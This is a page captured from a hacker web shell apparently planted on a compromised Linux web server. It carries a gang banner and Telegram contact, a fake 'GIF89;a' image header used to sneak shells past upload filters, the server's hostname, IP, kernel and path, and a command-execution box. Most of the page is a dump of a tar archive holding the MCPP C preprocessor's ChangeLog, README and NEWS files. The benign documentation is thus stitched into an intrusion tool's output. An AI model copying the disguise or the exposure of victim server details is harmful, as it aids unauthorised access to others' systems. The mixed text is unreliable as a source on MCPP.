GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux server1.hnhtechsolutions.com 4.18.0-553.78.1.el8_10.x86_64 #1 SMP Tue Oct 7 04:15:13 EDT 2025 x86_64
Apache
198.177.124.167
/
home
/
portfolio
/
public_html
/
private
[ HOME ]
Exec
Submit
File Name : mcpp.tar
ChangeLog.old 0000644 00000042457 14763757143 0007130 0 ustar 00 ChangeLog.old of MCPP and its accompanying Validation Suite 2005/03/19 kmatsui * V.2.5 * Absorbed POST_STANDARD mode into STANDARD as an execution time option, absorbed OLD_PREPROCESSOR mode as an execution time option of PRE_STANDARD. (all the sources) * Changed the evaluation of #if expression in PRE_STANDARD mode to use only (signed) long, not to use unsigned long. (eval.c) * Revised the Standard mode macro expansion routine using GCC 3. 2 testsuite and Wave 1.0 testcases. Revised "blue painting" of the same name macro. Revised debugging information. Revised handling of token separator in STANDARD mode. Split is_macro_call() from is_macro(). (expand.c) * Revised the old-preprocessor mode to follow "Reiser cpp model". (expand.c) * Removed FOLD_CASE settings. (system.c) * Renamed most of #pragma __* directives as #pragma MCPP *. (system.c) * Added porting to GCC V.3.3 and 3.4. Changed some options accordingly (changed -c to -@compat, changed -m to -e, removed -E, added -finput-charset=). Created init_gcc_macro(), undef_gcc_macro(). (system.c) * Sorted usage() message lines alphabetically. * Removed documents on older preprocessors (DJGPP, compiler systems on MS-DOS except Borland C). * Revised judgment of GCC version and include directories. (configure.ac). * Provided man page. * Renamed the documents. * Validation Suite: Moved tests of multi-byte character encoding to quality matters. * Validation Suite: Changed points allocation of the test items. * Validation Suite: Added a few testcases for macro expansion. * Updated Japanese and English documents. 2004/03/20 kmatsui * V.2.4.1 * Revised recursive macro expansion. (expand.c) * Added -c option (compatible mode to GCC expansion of recursive macro). (expand.c, system.c) * Revised some testcases in cpp-test/test-t directory. 2004/02/25 kmatsui * V.2.4 release. * Implemented handling of multi-byte character encodings other than 2-byte encodings. Made various encodings available simultaneously. Added #pragma __setlocale. Added -m <encoding> option. Enabled environment variable LC_ALL, LC_CTYPE and LANG to specify the encoding. (all the sources) * Created mbchar.c. Moved type[] from system.c. Created type_* [] tables for various encodings of multi-byte character. Created encoding_name[][] table. Created mb_init(), mb_read_2byte(), mb_read_iso2022_jp(), mb_read_utf8(), mb_eval(), set_encoding(), search_encoding() and strip_bar(). (mbchar.c) * Added porting to Plan 9 / pcc. (noconfig.H, system.c) * Validation Suite: Added tests of various multi-byte character encodings. * Updated Japanese documents. * Updated English documents which were translated by Highwell, inc. ltd. from the Japanese documents. * Renamed the documents. 2003/11/28 kmatsui * V.2.4 prerelease. * Named this proprocessor as MCPP (This is not necessarily the name of its executable). * Changed predefined macro __decus_cpp as __MCPP. * Created configure script to make mcpp executable automatically. Accordingly, reorganized system.H, created configed.H and noconfig.H, and changed some macro names. * Diagnostics on macro expansion or macro redefinition were made to show the original macro definition and its location. * Changed DEFBUF and FILEINFO structure, reorganized some functions and variables. Created set_fname() in system.c. (other than system.H, eval.c lib.c) * Created look_and_install(). (control.c) * Removed CON_NOEXPAND and CON_EXPAND modes. Renamed CON_FALSE mode as PRE_STANDARD. (all the sources) * Removed append_string(), catenate() and conv_st_quote(). (expand.c) * Added #pragma __push_macro, #pragma __pop_macro, #pragma __preprocess, #pragma __preprocessed. Created push_or_pop() and do_preprocess(), revised do_pragma() accordingly. (system.c) * Implemented -MF, -MT, -MP, -MQ options for GCC-3-compatibility. Created md_init() and md_quote(). (system.c) * Added porting to Visual C++ .net. (system.H, system.c) * Removed the oldest settings on VMS, DEC C and OS-9/09. And removed accordingly vmsparse(), reopen_stdout(), set_stdin(), get_redirection(), put_start_file(), put_fname() and put_source(). (system.H, system.c) * Added strstr() and strcspn(). (lib.c) * Moved open_file() and add_file() from main.c to system.c. Moved sharp() from system.c to main.c. * Updated test-reports on LCC-Win32 and ucpp. * Updated the Japanese documents. (The English documents are not yet updated.) 2003/03/29 kmatsui * V.2.3 patch 1. * Debugged the modes other than STANDARD. (system.c) 2003/02/28 kmatsui * V.2.3 release. * Implemented identifier-like operators in C++98. Created chk_ops() in eval.c and id_operator() in support.c. (eval.c, control.c, support.c) * Reinforced checking of __VA_ARGS__. (control.c) * Enabled interspersed options between filename arguments. (system.c) * Renamed #pragma __debug and #pragma __warning to #pragma __debug_cpp and #pragma __warning_cpp. (system.c) * Created the edition of Validation Suite for GCC / testsuite. * -j option (GCC-compatible diagnostic format) added for testsuite. * Created the document named mcpp-summary.pdf. * Updated documents. * Released English version of documents which were translated by Highwell, inc. ltd. from the Japanese documents and revised by kmatsui. 2002/12/16 kmatsui * V.2.3 prerelease 2. * Port to GCC 3.2. (system.H, system.c) * Fixed the bug of #include_next. (system.c) * GCC-compatible options (-I-, -std=*) added. (system.c) * Created norm_path() to normalize include directories. (system. c) * Fixed the bug of rescan() which warns an innocent macro call. (expand.c) * Updated documents. Renamed the documents. 2002/08/26 kmatsui * V.2.3 prerelease 1. * Updated according to C99 (ISO/IEC 9899:1999). * Added compatibility mode of C++ to C99. (eval.c, expand.c, system.c) * Increased the class of warnings from four (OR of 1, 2, 4, 8) to five (OR of 1, 2, 4, 8, 16). Changed some errors to warnings. * Fixed the bug of 0-parameter function-like macro. Modified re- examination of macro of the same name. (expand.c) * Fixed the bug of handling digraphs. Implemented UCN in pp- number and string-literal. (support.c) * Fixed the bugs of parse_env() and bsl2sl(). (system.c) * Implemented many GCC-compatible options. Added -dM, -dD, -include and -isystem option for GCC. Added -a (-lang-asm, -x assembler-with-cpp) option. Extended -D option to enable function-like macro definition. Changed specification of -S option and added -V, -h option. (system.c) * Implemented #include_next and #warning for GCC. Implemented also #pragma __include_next and #pragma __warning_cpp. (system. c) * Created conv_case(), chk_env() and at_end(). Split set_limit(), set_pragma_op(), def_a_macro() from dooptions(). Split search_dir() from openinclude(). Removed is_id(). (system.c) * Port to Linux / GCC 2.95.3, LCC-Win32, Borland C 5.5. (system. H, control.c, system.c) * Renamed functions and some variables using underscore to separate the two words. (internal.H, all the *.c files) * Updated the Validation Suite. * Updated the documents. * Renamed the directories and the documents by NIIBE Yutaka. * Registered to CVS repository at m17n.org by NIIBE Yutaka <gniibe@fsij.org>. 1998/11 kmatsui * V.2.2 * Updated according to C++98 (ISO/IEC 14882:1998) * Changed to evaluate "true" as 1 and "false" as 0 on C++, according to C++ Standard. (eval.c) * Updated UCN constraint on C++ according to C++ Standard. (support.c) * Fixed the bug of interaction of predefined non-standard macro with -D option. (main.c, control.c, expand.c, system.c) * Created undef_a_predef(). (main.c) * Removed alloc_mem(). (system.c) 1998/09 kmatsui * V.2.1 * Updated C99 features according to 1998/08 draft (including UCN, optional multi-byte-character in identifier, type of #if expression in integer of maximum size and concatenation of wide- character-string-literal and character-string-literal). (main.c, eval.c, support.c) 1998/08 kmatsui (Kiyoshi Matsui <kmatsui@t3.rim.or.jp>) * V.2.0 * First release of MCPP (DECUS cpp V.2) at nifty-serve and vector/software-pack. * Re-written according to ISO 9899:1990 and it's Amendment 1, Corrigendum 1, 2. * Implemented translation phases precisely. (support.c) * Revised tokenization according to the Standard and Amendment1. (support.c & others) * Implemented the pre-defined macros __STDC__, __STDC_VERSION__, __TIME__, and revised __DATE__. Made these standard macros cannot be undefined nor redefined. (main.c) * Implemented _Pragma() operator. (main.c & others) * Revised some non-standard pre-defined macros. (main.c) * Implemented #error directive. The error message is output to the stderr. (control.c) * Implemented #pragma __once directive, -i option and -M* option, imported from GCC. (control.c & others) * Implemented #pragma __put_defines, #pragma __debug directives and the old style directives corresponding to them. (system.c & others) * Made #pragma lines to be output with warning to the stderr for the compiler which can't recognize the directive. (system.c) * Made #line argument to be subject to macro expansion. (control.c, support.c) * Reinforced the test of #define syntax. (control.c) * Created Standard conforming mode of macro-expansion (including the processing of #, ## operators). (expand.c) * Created "post-Standard" mode of preprocessing, which is a simplified version of Standard mode. (all the sources) * Simplified CON_FALSE mode corresponding to K&R 1st. specifications. CON_NOEXPAND, CON_EXPAND modes of the original version are retained (after revising). (main.c, control.c eval. c, expand.c) * Revised # operator so as to inserts \ before \ or " in stringized arguments (except in MBCHAR) in Standard mode. (expand.c) * Changed the type of #if expression from int to long / unsigned long. Reinforced expression evaluation. (eval.c) * Implemented wide character constant, multi-character character constant, and revised multi-byte character constant in #if expression. (eval.c) * Revised the handling of MBCHAR in string literal and character constant. (support.c, expand.c, eval.c, main.c) * Supplemented the optional phase for the pre-Standard compiler- proper to concatenate adjacent string literals, convert '\a' and '\v' to octals, convert digraphs. (main.c) * Implemented the features of C99-1997/11 draft except Unicode- related features (_Pragma operator, variable arguments of macro, // comments, long long of #if expression, p+ of pp-number) (all the sources) * Supplemented the C++ preprocessor option. (support.c, system. c) * Refined error checks and diagnostic messages. (all the sources) * Implemented -M* option. (main.c, system.c) * Updated MS-DOS memory model option. (system.c) * Revised command line options. (system.c) * Made the source files compilable by C++ as well as C. (all the sources) * Re-organized and re-written the source files to be portable to many systems. (all the sources) * * main.c: * Renamed cpp1.c main.c. * Created do_pragma_op(), de_stringize(), devide_line(), putout(), putline(), post_preproc(), conv_esc(), conv2oct(), is_last_esc(), esc_mbchar(), conv_a_digraph(). * Removed output(). * Moved sharp() from cpp1.c to system.c, addfile(), openfile(), initdefines(), unpredefine() from cpp3.c to main.c, * Revised most of the functions and variables. * * control.c: * Renamed cpp2.c control.c. * Moved dodefine(), is_formal(), mtokensave(), stparmscan(), doundef() from cpp4.c to control.c. * Moved lookid(), defendel(), dump_a_def() from cpp6.c to control.c. * Moved doinclude(), openinclude(), vmsparse() from cpp2.c to system.c. * Split doline() from control(). * Split getparm(), getrepl(), def_stringization() from dodefine(). * Split dumprepl() from dump_a_def(). * Devided defendel() to install(), undefine(), lookprev(). * Removed textput(), charput(), checkparm() from cpp4.c. * Expanded specification of stparmscan(). * Revised most of the functions. * * eval.c: * Renamed cpp5.c eval.c. * Created overflow(), dumpval(). * Split evalsval(), evaluval() from evaleval(). * Made #if error returns 0 (rather than 1). * Changed the type of #if evaluation from int to long / unsigned long (unsigned long is only for the compiler which has that type) or long long / unsigned long long for C99. * Reinforced expression evaluation (eval(), opdope[]). * Implemented evaluation of multi-character character constant, wide character constant and revised evaluation of multi-byte character constant. * Revised most of the functions. * * expand.c: * Split from cpp4.c and cpp6.c (support.c). * Created Standard conforming mode of macro expansion. * Created is_macro(), squeeze_ws(), skip_macro() as common routines, expand(), replace(), def_special(), prescan(), catenate(), stringize(), substitute(), rescan(), disable_repl(), enable_repl(), is_able_repl() for MODE >= STANDARD, expand(), conv_st_quote() for MODE < STANDARD. * Split expcollect() into collect_args() and get_an_arg(). * Renamed macroid() to rescan(), expand() to replace(), expstuff () to substitute() for MODE < STANDARD, dumpparm() to dump_args(). * Revised most of the functions. * * support.c: * Renamed cpp6.c support.c. * Created get_unexpandable(), scantoken(), cat_line(), scanop(), parse_line(), last_is_mbchar(), cnv_digraph(), at_eof(), xrealloc(), putline(), dumptoken(). * Split getline(), read_a_comment() from get(). * Extended cfatal(), cerror(), cwarn(), removing cierror(), ciwarn(). * Removed save(), cget(). * Moved macroid(), catenate(), appendstring() from cpp6.c to expand.c, lookid(), defendel() from cpp6.c to control.c. * Renamed scanstring() to scanquote(), getmem() to xmalloc(). * Revised most of the functions. * Revised line splicing and tokenization. * * system.c: * Created this file gathering routines from other files. Moved sharp(), sharpsub(), getredirection() from cpp1.c to system.c, doinclude(), openinclude(), hasdirectory(), vmsparse() from cpp2. c to system.c, setincdirs(), dooptions(), zap_uc() from cpp3.c to system.c, * Created setoptlist(), setcplus(), bsl2sl(), put_depend(), dopragma(), doonce(), included(), dumppath(), is_junk(), alloc_mem(), print_heap(); * Split reopen_stdout(), setstdin() from main(), put_start_file(), putfname() from cppmain(), setfiles(), usage(), mem_model(), is_id() from dooptions(), doold(), dodebug(), doasm(), put_asm() from control(). * Split setincdirs() to setsysdirs(), setenvdirs(), parse_env(), set_a_dir(). * Moved type[] from cpp6.c to system.c. * Revised most of the functions. * * system.H: * Re-written and renamed from cppdef.h. * * internal.H: * Re-written and renamed from cpp.h. * * Created Validation Suite for C/C++ preprocessing. * * Provided some supplementary tools for preprocessor testing. * * Wrote comprehensive documents (in Japanese). * Edit history of DECUS CPP (MM: Martin Minow) * 21-May-84 MM "Field test" release * 11-Jul-84 MM "Official" first release (that's what I thought!) * 31-Aug-84 MM USENET net.sources release. * 7-Dec-84 MM Stuff in Nov 12 Draft Standard * 07-Jun-85 KR Latest revision README 0000644 00000004302 14763757143 0005444 0 ustar 00 << What is MCPP >> MCPP is a C/C++ preprocessor with the following features: 1. Implements all of C90, C99 and C++98 features. It has the highest conformance. 2. Accompanies a validation suite to test the C/C++ preprocessors comprehensively. When it is applied to the existing preprocessors, MCPP shows outstanding result. 3. Has a variety of accurate diagnostic messages. This allows examination of most preprocessing problems of source, like potential bugs or portability problems. 4. Has various #pragma directives to output debug information. 5. Supports the various encodings of multi-byte characters for Japan, China, Taiwan and Korea. 6. Highly portable. Supports many compiler systems on UNIX-like systems and Windows. It can replace resident preprocessor of the compiler system. It can also behave independently from any compiler systems. Moreover, it can be built as a subroutine from any other main program, too. 7. Preprocessors of various behavior specifications can be generated from the source. 8. Is an open source software released under BSD-style-license. 9. Full documentations in Japanese and English are attached. MCPP is probably the best C preprocessor in the world. MCPP was selected as one of the "Exploratory Software Projects" of the Information-technology Promotion Agency (IPA), Japan, in year 2002 and 2003. With its achievements, the author was evaluated as one of the highest rank programmers. The sources and documents of MCPP are found at: http://mcpp.sourceforge.net/ Please read mcpp-summary.pdf for the overview of MCPP and Validation Suite. Please read INSTALL (INSTALL-jp) for how to install MCPP on your system from the source. Refer to the above web page for installation of the binary packages of MCPP. All the files except mcpp-summary.pdf are normal text files. In the .tar.gz file, newline of the text files are [LF], and encoding of INSTALL-jp is EUC-JP. In the .zip file, newline of the text files are [CR][LF], and encoding of INSTALL-jp is shift-JIS. I would like to hear from many C programmers for reviews, comments and the interest to participate in development. Kiyoshi Matsui <kmatsui@t3.rim.or.jp> ChangeLog 0000644 00000043451 14763757143 0006346 0 ustar 00 ChangeLog of MCPP and its accompanying Validation Suite 2008/11/30 kmatsui * V.2.7.2 * Enabled some CPU-specific predefined macros in compiler- independent-build as well as compiler-specific-build, because there are some occasions which require those macros when we use some compiler system's header files. Created init_cpu_macro(). (configure.ac, noconfig.H, configed.H, main.c, system.c) * Enabled -m32 and -m64 options even on 32-bits systems and on compiler-independent-build, when the OS is UNIX-like one. These options change some predefined macros. (system.c) * Made -z option to output #include lines themselves. (system.c) * Fixed a bug of source line numbering in library-build. (by Dwayne Boone) (main.c) * Fixed a few minor bugs. * Dropped support for Borland C 4.0. * Updated the shell-scripts, makefiles and difference files, and revised some mistakes. * Updated the documents. 2008/05/19 kmatsui * V.2.7.1 * Fixed a bug of newline synchronization on -K option. Created sync_linenum(). (Thanks to Benjamin Smedberg) (directive.c) * Made GCC-specific-build on x86_64 and ppc64 have two sets of predefines for 32bit mode and 64bit mode, and implemented -m32 and -m64 options. (Thanks to Benjamin Smedberg) (configure.ac, set_mcpp.sh, system.c) * Stopped to use freopen() so that a main program which links libmcpp can use stdin, stdout and stderr. (by Benoit Foucher) (main.c) * Fixed a bug of file-handle leak on -MD and -MF options. (Thanks to Masashi Fujita) (system.c) * Added ports to Vicual C++ 6.0 and Borland C++ 5.9 (aka C++ Builder 2007). (by Dwayne Boone) (vc6.dif, bc59.dif, eval.c) * Revised declaration of stpcpy(). (internal.H) * Split mcpp_out.h from mcpp_lib.h. * Made library-build install also an mcpp executable and minimal documents as well as libmcpp for a convenience of library package. Created main_mcpplib.c. Made all the binary packages library-build. (by Yutaka Niibe and kmatsui) (Makefile.am, src/ Makefile.am) * Split config/cygwin_root and config/mingw_root from configure.ac to avoid a trouble of backslash character handling on some version of bash. (Thanks to Aleksandar Samardzic) * Changed autoconf 2.59 to 2.61 and automake 1.9.6 to 1.10. * Updated the documents accordingly. 2008/03/23 kmatsui * V.2.7 * Created macro notification mode, implemented -K option and '# pragma MCPP debug macro_call' sub-directive to enable this mode on STD mode. Created get_src_location(), print_macro_inf(), print_macro_arg(), close_macro_inf(), chk_magic_balance(), remove_magics(), some MAC_* macros to define magic characters, struct LINE_COL, MACRO_INF. Revised many functions. (Specifications mostly by Taras Glek, partly by Samuel, implemented mostly by kmatsui and partly by Taras Glek and Samuel). (internal.H, main.c, directive.c, eval.c, expand.c, support.c, system.c) * Created -k option to keep horizontal white spaces as they are and convert comment to spaces of the same length on STD mode. (Specs by Taras Glek, implemented by kmatsui). (internal,H, main.c, directive.c, mbchar.c, support.c) * Implemented GCC2-spec variadic macro on STD mode in GCC- specific-build. (by Taras Glek and kmatsui). (directive.c) * Enabled GCC-like buggy handling of macro containing 'defined' token in #if directive on GCC-specific-build. (by Taras Glek). (expand.c) * Reordered initialization steps and enabled undefining of not- Standard-required predefined macros. Created undef_macros(). Removed undef_a_predef(). (main.c, system.c) * Enabled non-conforming predefined macros such as 'linux' by default on GCC-specific-build for compatibility with GCC. Removed undef_gcc_macros(). Created DEF_NOARGS_* macros for diagnostics sake. (internal.H, system.c) * Fixed a bug of file searching failure when a file is specified by relative path in -include option. Split is_full_path() from open_include(). (thanks to Benjamin Smedberg) (system.c) * Fixed a bug of mcpplib initialization which caused problem on CygWIN. (main.c, system.c, lib.c) * Fixed a bug of unterminated source file handling. (thanks to Phil Knight) (support.c) * Made norm_path() check existence of directory/file before normalization. As its results, non-existent directory specified by -I option was disabled, "non-existent/../existent" was judged as non-existent before wrongly normalizing to "existent", and # include "directory" was made not to open. Created norm_dir(). (thanks to Taras Glek and Dave Mandelin) (system.c) * Stopped to convert path-list on Windows to lowercase-letters. Changed path-list comparing function on Windows from strcmp() to strcasecmp() or stricmp(). (system.c) * Changed allocation of buffer for -M* options and incdir[], fnamelist[], once_list[] from fixed size to dynamically enlarging ones. (system.c) * Made #line output for GCC-specific-build closer to GCC. Changed FILEINFO and DEFBUF struct, moved sharp() from main.c to system.c, revised many functions. (system.c, support.c, main.c, directive.c) * Absorbed lib.c into system.c. Renamed getopt() to mcpp_getopt (), also variables opt* to mcpp_opt*, and made static in order to prevent linking of glibc getopt(). (thanks to Dwayne Boone) * Fixed a bug of UTF-8 multibyte character handling, enabled 4- bytes long sequences, and enabled checking of overlong sequences and UTF-16 surrogate pairs. (by Matt Wozniski) (mbchar.c, support.c) * Fixed a bug of tokenization in KR and OLD modes. (support.c) * Changed FILENAME_MAX to PATH_MAX and FILENAMEMAX to PATHMAX, because FILENAME_MAX of some systems are too short. (thanks to Dwayne Boone) * Bundled some variables into structs (std_limits, option_flags, etc.). Tidied up the sources removing unused codes, rewriting old comments. (most of the sources) * Ported to Mac OS X / Apple-GCC. Enabled searching of "framework" directories for #include. Enabled to search "header map" file. Enabled #import, which is #include with unconditional "once only" feature. Implemented -F, -arch, -isysroot options. Created init_framework(), search_framework(), search_subdir(), search_header_map(), hmap_hash(). (system.c, directive.c, set_mcpp.sh, unset_mcpp.sh, configure.ac, src/ Makefile.am) * Ported to Visual C++ 2008. Enabled '$' in identifier by default in Visual-C-specific-build and GCC-specific-build. (system.H, internal.H, support.c, system.c) * Added documentation on source checking of firefox 3.0pre. Added comments on system headers in Mac OS X. (mcpp-manual.html) * Updated all the documents. (mainly by kmatsui, partly by Taras Glek) 2007/05/19 kmatsui * V.2.6.4 * Fixed memory leaks in subroutine-build related to file-> filename, sharp_filename and others. (by Juergen Mueller and kmatsui). (main.c, directive.c, support.c, system.c) * Revised expanding() and expanding_macro[] to fix memory leaks. Created clear_exp_mac(). (internal.H, expand.c, support.c) * Fixed a bug of accessing non-allocated memory. (by isr). (support.c) * Revised output of // comment by -C option. Output // comment as it is, not converting to /* */. (thanks to Taras Glek). (support.c) * Changed output of line top white spaces in other than POST_STANDARD mode to preserve them as they are, rather than squeezing to one space, in order to make output more human- readable. (main.c, support.c) * Removed the settings to be compiled with C++. (configed.H, noconfig.H, noconfig/*.mak) * Updated version-info for shared-library-build from 0:0:0 to 0: 1:0. * Changed installation directory of some documents in stand- alone-and-compiler-independent-build by configure or by binary packages. * Updated the documents. Note that cpp-test.html were not updated. 2007/04/07 kmatsui * V.2.6.3 * Fixed a bug of some #line directive handling which wrongly affected #include path. Added a new member for real file name to struct FILEINFO, and made #line directive does not affect real file name. (internal.H, main.c, support.c, system.c) * Enabled dereferencing of symbolic linked directory (as well as file) of #include path-list and include directory. Split deref_syml() from norm_path(). (system.c) * Revised again diagnostic messages for some macro expansions. (internal.H, expand.c, support.c) * Relaxed token checking and syntax checking in lang_asm mode. (expand,c, support.c) * Implemented GCC3-spec variadic macro for GCC-specific-build. (internal.H, directive.c, expand.c) * Added some predefined macro for GCC-specific-build. (system.c) * Revised output routines abstracting output device, and implementing optional memory buffer output when built with MCPP_LIB macro. Created mcpp_lib.h, mcpp_lib_fputs(), mcpp_lib_fputc(), mcpp_lib_fprintf(), mcpp_use_mem_buffers(), mcpp_get_mem_buffer(), mcpp_set_out_func(), mcpp_reset_def_out_func(), mem_putc(), mem_puts(), append_to_buffer(), function pointers mcpp_fputs, mcpp_fputc, mcpp_fprintf and some macros. This update disabled compilation by C++. (All were contributed by Greg Kress and slightly modified by kmatsui) (internal.H, main.c, directive.c, eval.c, expand.c, mbchar.c, support.c, system.c, lib.c, mcpp_lib.h) * Renamed some global names in order to lessen the possibility of name collisions in subroutine-build. Renamed the variables mode, cplus, line, debug, type[] and work[] to mcpp_mode, cplus_val, src_line, mcpp_debug, char_type[] and work_buf[] respectively. Renamed the functions install(), eval(), expand(), get() and unget() to install_macro(), eval_if(), expand_macro(), get_ch() and unget_ch() respectively. (internal.H, main.c, directive.c, eval.c, expand.c, mbchar.c, support.c, system.c) * Added 'mcpplib' target to make subroutine (library) build in configure.ac and noconfig/*.mak. * Revised some other minor points. (all sources) * Changed default setting of noconfig.H to that of FreeBSD 6.* / stand-alone / GCC 3.4. (noconfig.H) * Added documentation on source checking of glibc 2.4. (mcpp- manual.html) * Abolished 'install-data' and 'uninstall-data' targets of configured makefile. On the other hand, made 'install' target install also mcpp-manual.html. * Provided stand-alone-and-compiler-independent-build binary packages port, rpm, deb, zip and their corresponding source packages. 2006/11/12 kmatsui * V.2.6.2 * Renamed control.c as directive.c and renamed control() as directive(). * Fixed a bug of #else handling in pre-Standard modes. (directive.c) * Fixed a bug of mcpp specific directives such as #debug or # put_defines in pre-Standard modes. (system.c) * Fixed a bug of warning options for GCC-specific-builds. (system.c) * Fixed a bug of macro expansion timing in #include directive line. (system.c) * Revised some other minor points, moved cur_file() from main.c to system.c. (main.c, eval.c, system.c) * Revised diagnostic messages for some macro expansions. (internal.H, expand.c, support.c) * Fixed a bug of nested includes with relative paths. (thanks to Leo Savernik). (system.c) * Fixed memory leaks in routines related to normalizing path- list. (by Juergen Mueller). (system.c) * Added MCPP_LIB setting to use mcpp as a subroutine from other main program. Created init_main(), init_directive(), init_eval(), init_support(), init_system(), init_lib(), clear_filelist() and clear_symtable(). Created testmain.c as a sample source. (all were contributed by Juergen Mueller and slightly modified by kmatsui). (internal.H, main.c, directive.c, eval.c, expand.c, support.c, system.c, lib.c) * Changed the macro STAND_ALONE to INDEPENDENT. * Changed the terminology of building methods in the documents. (INSTALL, mcpp-porting.html, mcpp-manual.html) * Rewrote and converted the text files in 'doc' and 'doc-jp' directories into html files. * Updated and corrected many points of the documents. 2006/08/12 kmatsui * V.2.6.1 * Enabled automatic conversion from [CR+LF] to [LF]. (support.c) * Set the limit of #include nesting to INCLUDE_NEST (default: 256) in order to prevent infinitely recursive #includes. (system.H, system.c) * Revised white space handling in <header with spaces.h> style header-name which is defined by macro. (system.c) * Enabled -fworking-directory option for GCC-specific-build. created put_info(). (system.c) * Fixed a bug of macro definition. (lib.c) * Fixed a bug of '#pragma once' failure. (by Greg Kress). (system.c) * Fixed some other minor bugs in sources. * Revised path-list handling on CygWIN. Enabled -mno-cygwin option for CygWIN GCC-specific-build. (configure.ac, noconfig.H, system.c) * Ported to MinGW. Created cc1.c to be invoked from GCC and to invoke mcpp or GCC's cc1/cc1plus from it, because MinGW GCC rejects to invoke a shell-script even if it is named cc1 and because MinGW does not support symbolic link. (configure.ac, src/Makefile.am, configed.H, noconfig.H, system.c) * Fixed bugs in some noconfig/*.mak. * Moved changelogs from the source files to ChangeLog and ChangeLog.old. 2006/07/15 kmatsui * V.2.6 * Integrated STANDARD mode and PRE_STANDARD mode into one executable, differentiating the modes by the execution time options. (all the sources) * Absorbed DEBUG, DEBUG_EVAL, OK_MAKE into default, OK_DIGRAPHS, OK_PRAGMA_OP into default of STD and POST_STD mode, OK_TRIGRAPHS into default of STD mode, OK_SIZE into default of KR and OLD_PREP modes. (all the sources) * Changed --enable-maintainer-mode option of configure to --enable-replace-cpp option which generates compiler-specific- build of mcpp. Made compiler-specific-build to be installed only into a compiler-specific-directory. (configure.ac, src/ Makefile.am) * Made stand-alone-build independent from any compiler-systems. It no longer requires GCC-specific header files. (configure.ac, configed.H, noconfig.H, system.c) * Revised '#pragma once' and handling of include directories list, judging a identity of directory and file by converting it to absolute path, and dereferencing symbolic linked file. (system.c) * Revised #line output and its related problem at the end of an included file. (thanks to Jay Prakash). (internal.H, support.c) * Ported to GCC V.4.0, CygWIN 1.5.18, Visual C++ 2005 and LCC- Win32 2006-03. (noconfig.H, system.c) * Added some options for Visual C++. (system.c) * Removed settings for pre-C90 compiler (string concatenation by preprocessor, '\a' and '\v' handling, no unsigned long #if, no Standard library functions, non-prototype declarations, no # pragma). (all the sources) * Removed settings for MS-DOS compiler, DJGPP and Plan9. (*.H, system.c, mbchar.c) * Removed the implementation of post_preproc() for pre-Standard compiler. Removed conv_esc(), is_last_esc(), conv2oct(). Removed HAVE_C_BACKSLASH_A and CONCAT_STRINGS macros. (main.c) * Degraded the diagnostic of #if expression from error to warning, which only overflows the range of 'long / unsigned long' and does not overflow the range of 'long long / unsigned long long' in modes other than C99. (eval.c) * Enabled 'i64' ('ui64', 'i32', 'i16', etc.) suffixes for integer, which are recognized when COMPILER is MSC or BORLANDC. (eval.c) * Renamed functions and some variables, created expand_init(), according to integration of STANDARD and PRE_STANDARD modes. (expand.c) * Removed '#pragma MCPP include_next'. (system.c) * Created init_msc_macro(), parse_warn_level(), chk_opts(), init_predefines(), init_std_defines(), do_prestd_directive(). Removed set_cplus(), mem_model(). (system.c) * Removed Standard functions (memmove(), memcpy(), memcmp(), strstr(), strcspn()). (lib.c) * Changed default setting of noconfig.H to FreeBSD 5.* / stand- alone / GCC 3.4. (noconfig.H) * Renamed 'doc' directory as 'doc-jp' and renamed 'doc_eng' as 'doc'. * Removed some manuscript files of mcpp-summary.pdf from the distribution. * Validation Suite: Revised a few testcases. * Updated all the documents accordingly. NEWS 0000644 00000007460 14763757143 0005273 0 ustar 00 This file summarizes new major features of each MCPP release. (kmatsui) MCPP V.2.7.2 (2008/11) 1. This is a bug-fixed version of V.2.7.1, fixing several bugs of the previous release. 2. Enabled some CPU-specific predefined macros in compiler-independent- build as well as compiler-specific-build. MCPP V.2.7.1 (2008/05) 1. This is a bug-fixed version of V.2.7, fixing several bugs of the previous release. 2. Made subroutine-build also install an mcpp executable and minimal documents as well as libmcpp for a convenience of library package. MCPP V.2.7 (2008/03) 1. Implemented -K option to enable macro notification mode. This mode is designed for C/C++ refactoring tools and embeds macro annotations into comments. This mode is also enabled by '#pragma MCPP debug macro_call' sub-directive. 2. Fixed several bugs of the previous release, including a bug of UTF-8 multibyte character handling. 3. Ported to Mac OS X / GCC and Visual C++ 2008. 4. Made GCC-specific-build closer to GCC. 5. Added documentation on source checking of firefox 3.0pre. MCPP V.2.6.4 (2007/05) 1. This is a bug-fixed version of V.2.6.3, fixing memory leaks in subroutine-build, and fixing a bug of accessing non-allocated memory. 2. Also changed the installation directory of some documents in stand- alone-and-compiler-independent-build by configure or by binary packages. MCPP V.2.6.3 (2007/04) 1. Revised subtle points of #include and '#pragma once' handling, such as dereferencing symbolic linked directory and others. 2. Relaxed syntax checking and token checking in lang_asm mode. Implemented variadic macro of GCC3-specification for GCC-specific- build. Increased compatibility of GCC-specific-build to GCC. 3. Implemented optional memory buffer output (other than file) in subroutine-build. 4. Added 'mcpplib' target to make subroutine-build in configure.ac and noconfig/*.mak. 5. Abolished 'install-data' and 'uninstall-data' targets of configured makefile. On the other hand, made 'install' target install also mcpp-manual.html. 6. Provided stand-alone-and-compiler-independent-build binary packages port, rpm, deb, zip and their corresponding source packages on SourceForge. 7. Added documentation on source checking of glibc 2.4. MCPP V.2.6.2 (2006/11) 1. Fixed several bugs of the previous release. 2. Added subroutine-build to use MCPP as a subroutine from other main program. 3. Changed the terms of building methods in the documents. The building methods now have two axis: 1. stand-alone-build vs subroutine-build 2. compiler-independent-build vs compiler-specific-build Refer to INSTALL #1. Note that this change of terminology does not affect the two building methods of stand-alone preprocessor so far: 'compiler- independent-build' and 'compiler-specific-build'. ('compiler- independent-build' was called 'stand-alone-build' in the previous releases). 4. Rewrote and converted the text files in 'doc' and 'doc-jp' directories into html files. MCPP V.2.6.1 (2006/08) 1. Fixed several bugs of the previous release. 2. Revised path-list handling on CygWIN. 3. Added porting to MinGW/MSYS. MCPP V.2.6 (2006/07) 1. Integrated STANDARD mode and PRE_STANDARD mode into one executable, differentiating the modes by the execution time options. 2. Changed --enable-maintainer-mode option of configure to --enable- replace-cpp option which generates compiler-specific-build of mcpp. 3. Made compiler-independent-build really independent from any compiler- systems. It no longer requires GCC-specific header files. 4. Removed settings for pre-C90 compiler. Removed settings for MS-DOS compiler, DJGPP and Plan9. 5. Added portings to GCC V.4.0, CygWIN 1.5.18, Visual C++ 2005 and LCC- Win32 2006-03. usr/bin/mcpp 0000755 00000022020 14770237573 0007025 